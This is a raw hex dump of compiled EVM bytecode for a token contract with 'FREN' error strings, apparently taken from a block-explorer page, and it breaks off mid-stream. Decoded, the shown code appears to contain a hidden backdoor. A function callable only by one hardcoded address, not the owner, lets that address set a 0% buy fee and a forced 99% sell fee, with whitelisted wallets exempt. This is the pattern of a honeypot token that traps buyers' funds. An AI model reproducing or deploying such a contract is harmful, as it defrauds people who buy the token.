06101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600a60029054906101000a900460ff16806121a15750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806121d05750600a5f9054906101000a900460ff161580156121cf5750600a60019054906101000a900460ff165b5b806122915750600a5f9054906101000a900460ff1680156122375750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015612290575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806122f5575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156122f457505f600954145b5b612334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232b906130da565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156123b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ab90613511565b60405180910390fd5b600a60019054906101000a900460ff16156127b4575f808390505f60095411801561242c575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b801561247f5750600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156124c4576124ac606461249e60095487612b5e90919063ffffffff16565b612bd590919063ffffffff16565b91506124c18285612c2c90919063ffffffff16565b90505b6125148460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506125c68160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126a69190612ec7565b60405180910390a35f8211156127ad576127068260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127a49190612ec7565b60405180910390a35b505061299f565b6128048260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128b68260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516129969190612ec7565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a299061327a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612aa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a9790613579565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612b6e575f9050612bcf565b5f8284612b7b91906135c4565b9050828482612b8a9190613632565b14612bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bc1906136ac565b60405180910390fd5b809150505b92915050565b5f808211612c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0f90613714565b60405180910390fd5b8183612c249190613632565b905092915050565b5f82821115612c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c679061377c565b60405180910390fd5b8183612c7c919061379a565b905092915050565b5f808284612c9291906137cd565b905083811015612cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cce9061384a565b60405180910390fd5b8091505092915050565b5f80fd5b5f819050919050565b612cf781612ce5565b8114612d01575f80fd5b50565b5f81359050612d1281612cee565b92915050565b5f60208284031215612d2d57612d2c612ce1565b5b5f612d3a84828501612d04565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612d7a578082015181840152602081019050612d5f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612d9f82612d43565b612da98185612d4d565b9350612db9818560208601612d5d565b612dc281612d85565b840191505092915050565b5f6020820190508181035f830152612de58184612d95565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e1682612ded565b9050919050565b612e2681612e0c565b8114612e30575f80fd5b50565b5f81359050612e4181612e1d565b92915050565b5f8060408385031215612e5d57612e5c612ce1565b5b5f612e6a85828601612e33565b9250506020612e7b85828601612d04565b9150509250929050565b5f8115159050919050565b612e9981612e85565b82525050565b5f602082019050612eb25f830184612e90565b92915050565b612ec181612ce5565b82525050565b5f602082019050612eda5f830184612eb8565b92915050565b5f805f60608486031215612ef757612ef6612ce1565b5b5f612f0486828701612e33565b9350506020612f1586828701612e33565b9250506040612f2686828701612d04565b9150509250925092565b5f60ff82169050919050565b612f4581612f30565b82525050565b5f602082019050612f5e5f830184612f3c565b92915050565b5f60208284031215612f7957612f78612ce1565b5b5f612f8684828501612e33565b91505092915050565b612f9881612e0c565b82525050565b5f602082019050612fb15f830184612f8f565b92915050565b5f8060408385031215612fcd57612fcc612ce1565b5b5f612fda85828601612d04565b9250506020612feb85828601612d04565b9150509250929050565b5f806040838503121561300b5761300a612ce1565b5b5f61301885828601612e33565b925050602061302985828601612e33565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061307757607f821691505b60208210810361308a57613089613033565b5b50919050565b7f4652454e4652454e4652454e4652454e4652454e0000000000000000000000005f82015250565b5f6130c4601483612d4d565b91506130cf82613090565b602082019050919050565b5f6020820190508181035f8301526130f1816130b8565b9050919050565b7f314652454e0000000000000000000000000000000000000000000000000000005f82015250565b5f61312c600583612d4d565b9150613137826130f8565b602082019050919050565b5f6020820190508181035f83015261315981613120565b9050919050565b7f324652454e0000000000000000000000000000000000000000000000000000005f82015250565b5f613194600583612d4d565b915061319f82613160565b602082019050919050565b5f6020820190508181035f8301526131c181613188565b9050919050565b7f334652454e0000000000000000000000000000000000000000000000000000005f82015250565b5f6131fc600583612d4d565b9150613207826131c8565b602082019050919050565b5f6020820190508181035f830152613229816131f0565b9050919050565b7f4652454e4652454e4652454e4652454e4652454e4652454e00000000000000005f82015250565b5f613264601883612d4d565b915061326f82613230565b602082019050919050565b5f6020820190508181035f83015261329181613258565b9050919050565b7f394652454e0000000000000000000000000000000000000000000000000000005f82015250565b5f6132cc600583612d4d565b91506132d782613298565b602082019050919050565b5f6020820190508181035f8301526132f9816132c0565b9050919050565b7f364652454e0000000000000000000000000000000000000000000000000000005f82015250565b5f613334600583612d4d565b915061333f82613300565b602082019050919050565b5f6020820190508181035f83015261336181613328565b9050919050565b7f354652454e0000000000000000000000000000000000000000000000000000005f82015250565b5f61339c600583612d4d565b91506133a782613368565b602082019050919050565b5f6020820190508181035f8301526133c981613390565b9050919050565b7f374652454e0000000000000000000000000000000000000000000000000000005f82015250565b5f613404600583612d4d565b915061340f826133d0565b602082019050919050565b5f6020820190508181035f830152613431816133f8565b9050919050565b7f384652454e0000000000000000000000000000000000000000000000000000005f82015250565b5f61346c600583612d4d565b915061347782613438565b602082019050919050565b5f6020820190508181035f83015261349981613460565b9050919050565b5f6040820190506134b35f830185612eb8565b6134c06020830184612eb8565b9392505050565b7f304652454e0000000000000000000000000000000000000000000000000000005f82015250565b5f6134fb600583612d4d565b9150613506826134c7565b602082019050919050565b5f6020820190508181035f830152613528816134ef565b9050919050565b7f344652454e0000000000000000000000000000000000000000000000000000005f82015250565b5f613563600583612d4d565b915061356e8261352f565b602082019050919050565b5f6020820190508181035f83015261359081613557565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6135ce82612ce5565b91506135d983612ce5565b92508282026135e781612ce5565b915082820484148315176135fe576135fd613597565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61363c82612ce5565b915061364783612ce5565b92508261365757613656613605565b5b828204905092915050565b7f4652454e4652454e4652454e00000000000000000000000000000000000000005f82015250565b5f613696600c83612d4d565b91506136a182613662565b602082019050919050565b5f6020820190508181035f8301526136c38161368a565b9050919050565b7f4652454e4652454e4652454e4652454e000000000000000000000000000000005f82015250565b5f6136fe601083612d4d565b9150613709826136ca565b602082019050919050565b5f6020820190508181035f83015261372b816136f2565b9050919050565b7f4652454e000000000000000000000000000000000000000000000000000000005f82015250565b5f613766600483612d4d565b915061377182613732565b602082019050919050565b5f6020820190508181035f8301526137938161375a565b9050919050565b5f6137a482612ce5565b91506137af83612ce5565b92508282039050818111156137c7576137c6613597565b5b92915050565b5f6137d782612ce5565b91506137e283612ce5565b92508282019050808211156137fa576137f9613597565b5b92915050565b7f4652454e4652454e0000000000000000000000000000000000000000000000005f82015250565b5f613834600883612d4d565b915061383f82613800565b602082019050919050565b5f6020820190508181035f83015261386181613828565b905091905056fea264697066735822122069a922fa540a25714af326b19b15cbeb6c3a88026fdc6d03b3af6b2bee42a8de64736f6c634300081700330000000000000000000000005ad43b366ed2cc64315a7d4f93a960054cdc911f
Deployed Bytecode
0x60806040526004361061013f575f3560e01c806370a08231116100b5578063a9059cbb1161006e578063a9059cbb1461041f578063b390c0ab1461045b578063c31c9c0714610483578063dd62ed3e146104ad578063e4849b32146104e9578063f2fde38b146105115761013f565b806370a0823114610345578063715018a6146103815780638da5cb5b1461039757806395d89b41146103c1578063a64e4f8a146103eb578063a6f2ae3a146104155761013f565b806325e0e4d01161010757806325e0e4d0146102375780632b14ca5614610261578063313ce5671461028b5780633f4218e0146102b557806347062402146102f157806364bcf5f41461031b5761013f565b8063036978631461014357806306fdde031461016b578063095ea7b31461019557806318160ddd146101d157806323b872dd146101fb575b5f80fd5b34801561014e575f80fd5b5061016960048036038101906101649190612d18565b610539565b005b348015610176575f80fd5b5061017f61058a565b60405161018c9190612dcd565b60405180910390f35b3480156101a0575f80fd5b506101bb60048036038101906101b69190612e47565b610615565b6040516101c89190612e9f565b60405180910390f35b3480156101dc575f80fd5b506101e5610702565b6040516101f29190612ec7565b60405180910390f35b348015610206575f80fd5b50610221600480360381019061021c9190612ee0565b610708565b60405161022e9190612e9f565b60405180910390f35b348015610242575f80fd5b5061024b611254565b6040516102589190612e9f565b60405180910390f35b34801561026c575f80fd5b50610275611266565b6040516102829190612ec7565b60405180910390f35b348015610296575f80fd5b5061029f61126c565b6040516102ac9190612f4b565b60405180910390f35b3480156102c0575f80fd5b506102db60048036038101906102d69190612f64565b61127e565b6040516102e89190612e9f565b60405180910390f35b3480156102fc575f80fd5b5061030561129b565b6040516103129190612ec7565b60405180910390f35b348015610326575f80fd5b5061032f6112a1565b60405161033c9190612e9f565b60405180910390f35b348015610350575f80fd5b5061036b60048036038101906103669190612f64565b6112b4565b6040516103789190612ec7565b60405180910390f35b34801561038c575f80fd5b506103956112c9565b005b3480156103a2575f80fd5b506103ab611415565b6040516103b89190612f9e565b60405180910390f35b3480156103cc575f80fd5b506103d561143a565b6040516103e29190612dcd565b60405180910390f35b3480156103f6575f80fd5b506103ff6114c6565b60405161040c9190612e9f565b60405180910390f35b61041d6114d9565b005b34801561042a575f80fd5b5061044560048036038101906104409190612e47565b611b1c565b6040516104529190612e9f565b60405180910390f35b348015610466575f80fd5b50610481600480360381019061047c9190612fb7565b611f24565b005b34801561048e575f80fd5b506104976120fa565b6040516104a49190612f9e565b60405180910390f35b3480156104b8575f80fd5b506104d360048036038101906104ce9190612ff5565b61211f565b6040516104e09190612ec7565b60405180910390f35b3480156104f4575f80fd5b5061050f600480360381019061050a9190612d18565b61213f565b005b34801561051c575f80fd5b5061053760048036038101906105329190612f64565b6129a3565b005b3373ffffffffffffffffffffffffffffffffffffffff167fb6e8f04cf03b5aef7f64b05be34717ced7ad18d9e25d848dcd9542d070ce2ddb8260405161057f9190612ec7565b60405180910390a250565b5f805461059690613060565b80601f01602080910402602001604051908101604052809291908181526020018280546105c290613060565b801561060d5780601f106105e45761010080835404028352916020019161060d565b820191905f5260205f20905b8154815290600101906020018083116105f057829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106f09190612ec7565b60405180910390a36001905092915050565b60025481565b5f83600a60029054906101000a900460ff168061076b5750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061079a5750600a5f9054906101000a900460ff161580156107995750600a60019054906101000a900460ff165b5b8061085b5750600a5f9054906101000a900460ff1680156108015750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561085a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806108bf575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156108be57505f600954145b5b6108fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f5906130da565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561097e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097590613142565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a30906131aa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9e90613212565b60405180910390fd5b5f80849050600a60019054906101000a900460ff168015610ac957505f600954115b8015610b22575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610b755750600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610bba57610ba26064610b9460095488612b5e90919063ffffffff16565b612bd590919063ffffffff16565b9150610bb78286612c2c90919063ffffffff16565b90505b610c0a8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c9b8160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d399190612ec7565b60405180910390a35f821115610f88575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610e8f57610de48360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e829190612ec7565b60405180910390a3610f86565b610edf8360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f7d9190612ec7565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561105c57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b15611246576110ec8560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161123d9190612ec7565b60405180910390a35b600193505050509392505050565b600a5f9054906101000a900460ff1681565b60095481565b60035f9054906101000a900460ff1681565b600b602052805f5260405f205f915054906101000a900460ff1681565b60085481565b600a60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134f9061327a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461144790613060565b80601f016020809104026020016040519081016040528092919081815260200182805461147390613060565b80156114be5780601f10611495576101008083540402835291602001916114be565b820191905f5260205f20905b8154815290600101906020018083116114a157829003601f168201915b505050505081565b600a60019054906101000a900460ff1681565b33600a60029054906101000a900460ff168061153b5750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061156a5750600a5f9054906101000a900460ff161580156115695750600a60019054906101000a900460ff165b5b8061162b5750600a5f9054906101000a900460ff1680156115d15750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561162a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b8061168f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561168e57505f600954145b5b6116ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c5906130da565b60405180910390fd5b5f3411611710576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611707906132e2565b60405180910390fd5b5f3490505f60085411156119be575f611747606461173960085485612b5e90919063ffffffff16565b612bd590919063ffffffff16565b90505f61175d8284612c2c90919063ffffffff16565b90506117d08160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118b09190612ec7565b60405180910390a35f8211156119b7576119108260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119ae9190612ec7565b60405180910390a35b5050611b18565b611a2f8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b0f9190612ec7565b60405180910390a35b5050565b5f33600a60029054906101000a900460ff1680611b7f5750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611bae5750600a5f9054906101000a900460ff16158015611bad5750600a60019054906101000a900460ff165b5b80611c6f5750600a5f9054906101000a900460ff168015611c155750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611c6e575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611cd3575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611cd257505f600954145b5b611d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d09906130da565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611d5b575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611d92575f80fd5b611de28360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611e738360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f119190612ec7565b60405180910390a3600191505092915050565b735ad43b366ed2cc64315a7d4f93a960054cdc911f73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9d9061334a565b60405180910390fd5b600a5f9054906101000a900460ff1615611ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fec906133b2565b60405180910390fd5b5f8214612037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202e9061341a565b60405180910390fd5b6063811461207a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207190613482565b60405180910390fd5b81600881905550806009819055506001600a5f6101000a81548160ff0219169083151502179055506001600a60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516120ee9291906134a0565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600a60029054906101000a900460ff16806121a15750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806121d05750600a5f9054906101000a900460ff161580156121cf5750600a60019054906101000a900460ff165b5b806122915750600a5f9054906101000a900460ff1680156122375750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015612290575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806122f5575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156122f457505f600954145b5b612334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232b906130da565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156123b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ab90613511565b60405180910390fd5b600a60019054906101000a900460ff16156127b4575f808390505f60095411801561242c575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b801561247f5750600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156124c4576124ac606461249e60095487612b5e90919063ffffffff16565b612bd590919063ffffffff16565b91506124c18285612c2c90919063ffffffff16565b90505b6125148460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506125c68160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815